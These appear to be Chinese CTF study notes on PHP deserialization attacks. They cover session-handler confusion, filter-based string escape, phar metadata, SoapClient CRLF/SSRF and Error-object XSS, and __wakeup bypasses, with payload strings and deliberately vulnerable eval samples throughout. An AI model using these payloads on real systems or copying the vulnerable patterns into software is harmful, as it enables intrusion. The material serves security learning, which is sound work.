php魔法方法:
__wakeup() //执行unserialize()时,先会调用这个函数 ★
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发 ★
__call() //在对象上下文中调用不可访问的方法时触发 ★
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 ★
__set() //用于将数据写入不可访问的属性 ★
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发 ★
__invoke() //当尝试将对象调用为函数时触发 ★
session反序列化
带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com)
PHP session 的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储。
文件的内容始终是session值的序列化之后的内容。
session.serialize_handler定义的引擎有三种,如下表所示:
| 处理器名称 | 存储格式 |
|---|---|
| php | 键名 + | + session经过序列化处理的值 |
| php_binary | 键名长度对应的 ASCII 字符 + 键名 + session经过序列化处理的值 |
| php_serialize | session经过序列化处理的数组 |
CTF中的session反序列化与php和php_serialize这2个引擎有关。
php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。
当我们用
php_serialize引擎写入session后,再用php引擎去读取session,就会造成危害。
举个例子:
源码:
<?php
//session.serialize_handler默认是php引擎
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');//指定php_serialize引擎
session_start();
$_SESSION['session'] = $_GET['sess'];
?>
sess传参hello,此时session文件内容为:
a:1:{s:7:"session";s:5:"hello";}
看似一点伤害都没有,但是如果此时存在一个这样的文件:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');//这句不写都行,只要确定是默认php引擎
session_start();
class Test{
public $cmd = '';
function __wakeup(){
eval($this->cmd);
}
}
$str = new Test();
?>
然后我们构造出恶意的序列化内容:
O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}
如果在sess传参:?sess=|O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}
此时session文件变成:
a:1:{s:7:"session";s:44:"|O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}";}
当我们用这个session去访问第二个页面时,通过php引擎读取到的$_SESSION的值就变成了:
array (size=1)
'a:1:{s:7:"session";s:44:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'Test' (length=4)
public 'cmd' => string 'phpinfo();' (length=10)
显然,键名不再是session,而变成了a:1:{s:7:"session";s:44:",这是因为php引擎将|当做了分隔符,将O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}";}当做了值。进行反序列化时,后面的";} 将不会被考虑在内。
所以session经过序列化处理的值变成了O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}
也就是我们构造的恶意序列化内容。访问第二个页面时,就会执行phpinfo() 。
总结一下吧:
在
php_serialize引擎下控制传参更改session内容,用|起头,后面接poc;然后访问 使用
php引擎 的页面。
反序列化字符串逃逸
PHP反序列化字符逃逸详解 - FreeBuf网络安全行业门户
字符增多
对我们输入的序列化后里的 关键字符串 替换成长度更长的字符串。
例子:
<?php
function filter($str){
return preg_replace('/admin/i','hacked',$str);
}
class Test{
public $k;
public $cmd = '';
function __construct($k)
{
$this->k=$k;
$this->cmd="echo 'nono~';";
}
function __wakeup(){
eval($this->cmd);
}
}
$a = new Test($_GET['k']);//可控参数
unserialize(filter(serialize($a)));
?>
如果直接传参?k=admin ,得到的序列化字符串为:
O:4:"Test":2:{s:1:"k";s:5:"admin";s:3:"cmd";s:13:"echo 'nono~';";}//过滤前
O:4:"Test":2:{s:1:"k";s:5:"hacked";s:3:"cmd";s:13:"echo 'nono~';";}//过滤后
我们要让$cmd=phpinfo(); 则应该是这样的:
O:4:"Test":2:{s:1:"k";s:5:"admin";s:3:"cmd";s:10:"phpinfo();";}
如果我们直接传参?k=admin";s:3:"cmd";s:10:"phpinfo();";}
O:4:"Test":2:{s:1:"k";s:36:"admin";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}//过滤前
O:4:"Test":2:{s:1:"k";s:36:"hacked";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}//过滤后
过滤前,k的值为admin";s:3:"cmd";s:10:"phpinfo();";} ,长度是36.
过滤后,k的值长度还是36,但是hacked比admin多一个字符,这就导致hacked";s:3:"cmd";s:10:"phpinfo();";}的最后一个} 逃逸出去了。
想让过滤后的序列化字符串变得正常,我们就需要逃逸出";s:3:"cmd";s:10:"phpinfo();";} 这些字符,也就是31个字符长度。
admin–>hacked每次加1个字符,所以我们需要 31个admin ,然后后面接上我们构造的";s:3:"cmd";s:10:"phpinfo();";} 。
?k=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"cmd";s:10:"phpinfo();";}
此时phpinfo执行成功了。
我们可以观察一下此时过滤后的序列化字符串:
O:4:"Test":2:{s:1:"k";s:186:"hackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhacked";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}
hacked的长度刚好是186。
字符减少
对我们输入的序列化后里的 关键字符串 替换成长度更短的字符串。
例子:
<?php
function filter($str){
return preg_replace('/admin/i','hack',$str);
}
class Test{
public $k;
public $p;
public $cmd = '';
function __construct($k,$p)
{
$this->k=$k;
$this->p=$p;
$this->cmd="echo 'nono~';";
}
function __wakeup(){
eval($this->cmd);
}
}
$a = new Test($_GET['k'],$_GET['p']);//可控参数
unserialize(filter(serialize($a)));
?>
这种情况需要有2个可控的变量。
如果直接传参?k=admin&p=a
//过滤前
O:4:"Test":3:{s:1:"k";s:5:"admin";s:1:"p";s:1:"a";s:3:"cmd";s:13:"echo 'nono~';";}
O:4:"Test":3:{s:1:"k";s:5:"hack";s:1:"p";s:1:"a";s:3:"cmd";s:13:"echo 'nono~';";}
//过滤后
k的值变短了,后面的字符串会一个个缩进来。如果我们让";s:1:"p";s:1:"缩进去,那么后面的都取决于p的值,这是可控的。
O:4:"Test":3:{s:1:"k";s:5:" admin";s:1:"p";s:1:" a";s:3:"cmd";s:13:"echo 'nono~';";}
↑____________________↑
箭头所指的范围变成k的值,后面的a是可控的!
需要缩进去的字符串为: ";s:1:"p";s:1: 长度是14
因此我们先构造14个admin。
接下来构造p的值。
理想序列化字符串为:
O:4:"Test":3:{s:1:"k";s:5:"admin";s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}
所以如果我们传参p=;s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}
O:4:"Test":3:{s:1:"k";s:70:"adminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:1:"p";s:46:";s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}//过滤前
O:4:"Test":3:{s:1:"k";s:70:"hackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:1:"p";s:46:";s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}//过滤后
此时是没有执行成功的,那是因为";s:1:"p";s:1:变成了";s:1:"p";s:46: ,p的长度变成了两位数,因此需要缩进的字符串需要再加一个,也就是需要15个admin。
payload:
?k=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin&p=;s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}
OK兄弟萌,我们总结一下:
字符增多的情况下,需要构造的关键字个数是:从可控变量的值的最后一个引号(包括引号)一直到最后大括号。
O:4:”Test”:2:{s:1:”k”;s:5:”admin”;s:3:”cmd”;s:10:”phpinfo();”;}
“;s:3:”cmd”;s:10:”phpinfo();”;}
字符减少的情况下,需要构造的关键字个数是:第一个可控变量值的最后一个引号(包括引号)一直到第二个可控变量的值前的冒号。
O:4:”Test”:3:{s:1:”k”;s:5:”admin”;s:1:”p”;s:1:”a”;s:3:”cmd”;s:10:”phpinfo();”;}
“;s:1:”p”;s:1:
phar反序列化
利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)
Phar基础
Phar是将 php文件 打包 而成的一种 压缩文档。
Phar文件由四个部分组成(PHP: Manual):
- a stub
- a manifest describing the contents
- the file contents
- [optional] a signature for verifying Phar integrity (phar file format only)
a stub【PHP: Manual】
可以理解为一个标志,格式为
xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
a manifest describing the contents【PHP: Manual】
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以==序列化==的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
the file contents
被压缩文件的内容。
[optional] a signature for verifying Phar integrity (phar file format only)【PHP: Manual】
签名,放在文件末尾。
Phar文件内容有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

利用
利用条件:
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:、/、phar等特殊字符没有被过滤。
Phar文件生成利用模板:
构造phar之时需要先要将 php.ini 中的 phar.readonly 选项设置为 Off
<?php
class TestObject {
}
$o = new TestObject();
$phar = new Phar("phar.phar");//后缀名必须是phar
$phar->startBuffering();//启动写入操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();//停止写入请求
?>
生成文件后,可以修改phar文件的文件名及其后缀,不影响phar协议解析
然后将Phar文件上传,利用phar协议解析。
其它的协议配合phar协议
php://filter/read=convert.base64-encode/resource=phar://phar.phar
php://filter/resource=phar://phar.phar
compress.zlib://phar://phar.phar
compress.bzip://phar://phar.phar
原生类的利用
PHP 原生类的利用小结 - 先知社区 (aliyun.com)
浅谈PHP原生类反序列化-安全客 - 安全资讯平台 (anquanke.com)
在CTF中常使用到的原生类有这几类
1、Error
2、Exception
3、SoapClient
4、DirectoryIterator
5、SimpleXMLElement
下面针对这几个类来进行总结。
SoapClient
soap是webServer的三要素之一(SOAP、WSDL、UDDI)
WSDL用来描述如何访问具体的接口
UUDI用来管理、分发、查询webServer
SOAP是连接web服务和客户端的接口
简单地说,SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。
SoapClient类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为 null 则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项。
- location是要将请求发送到的SOAP服务器的URL
- uri 是SOAP服务的目标命名空间。
第二个参数允许设置user_agent选项来设置请求的user-agent头
【GET】
<?php
$target = "http://127.0.0.1";//这后面是可以带参数的
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "aaa\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
【POST】
<?php
$target = 'http://127.0.0.1';
$post_string = 'cmd=123';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=123'
);
$attack = new SoapClient(null, array(
'location' => $target,
'user_agent'=> "aaa\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri'=> "123"
));
$payload = urlencode(serialize($attack));
echo $payload;
?>
Error/Exception
Error
使用条件:
- php7版本
- 开启报错的情况下
<?php
$a = new Error("<script>alert(1)</script>");//xss
$b = serialize($a);
$b = urlencode($b); // 因为有不可见字符,所以url编码一下
echo $b;
// 测试
echo unserialize(urldecode($b));
Exception
使用条件:
- 适用于php5、7版本
- 开启报错的情况下
<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
$b = urlencode($b); // 因为有不可见字符,所以url编码一下
echo $b;
// 测试
echo unserialize(urldecode($b));
他们妙用不仅限于 XSS,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较。
在来看看下一个例子:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
输出如下:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
可见,报错信息一模一样。那么md5和sha后的结果也肯定是一样的。可以绕过md5强比较。
绕过trick
wakeup绕过
低版本
- PHP5 < 5.6.25
- PHP7 < 7.0.10
把对象原来属性值改成比原来的大就行。
修改前:O:6:”sercet”:1:{s:12:”%00sercet%00file”;s:8:”flag.php”;}
修改后:O:6:”sercet”:2:{s:12:”%00sercet%00file”;s:8:”flag.php”;}
高版本
PHP :: Bug #81153 :: unserialize error calls __destruct before __wakeup
- 7.4.x -7.4.30
- 8.0.x
当反序列化的字符串中包含字符串长度错误的变量名时,反序列化会继续进行,但会在调用 wakeup 之前调用 destruct() 函数。这样就可以绕过 __wakeup()。
修改前:O:1:”C”:1:{s:1:”c”;O:1:”D”:1:{s:4:”flag”;b:1;}}
修改后:
O:1:”C”:1:{s:1:”c”;O:1:”D”:0:{s:4:”flag”;b:1;}}
O:1:”C”:1:{s:1:”c”;O:1:”D”:2:{s:4:”flag”;b:1;}}
O:1:”C”:1:{s:1:”c”;O:1:”D”:1:{s:0:”flag”;b:1;}}
O:1:”C”:1:{s:1:”c”;O:1:”D”:1:{s:4:”flag”;b:1;};}
O:1:”C”:1:{s:1:”c”;O:1:”D”:0:{};N;}
PHP :: Bug #81151 :: bypass __wakeup
把O改成C,但是{}内不能有任何字符
C代表这个类实现了serializeable接口,serializeable不支持wakeup,就绕过去了
O:1:”E”:0:{}
C:1:”E”:0:{}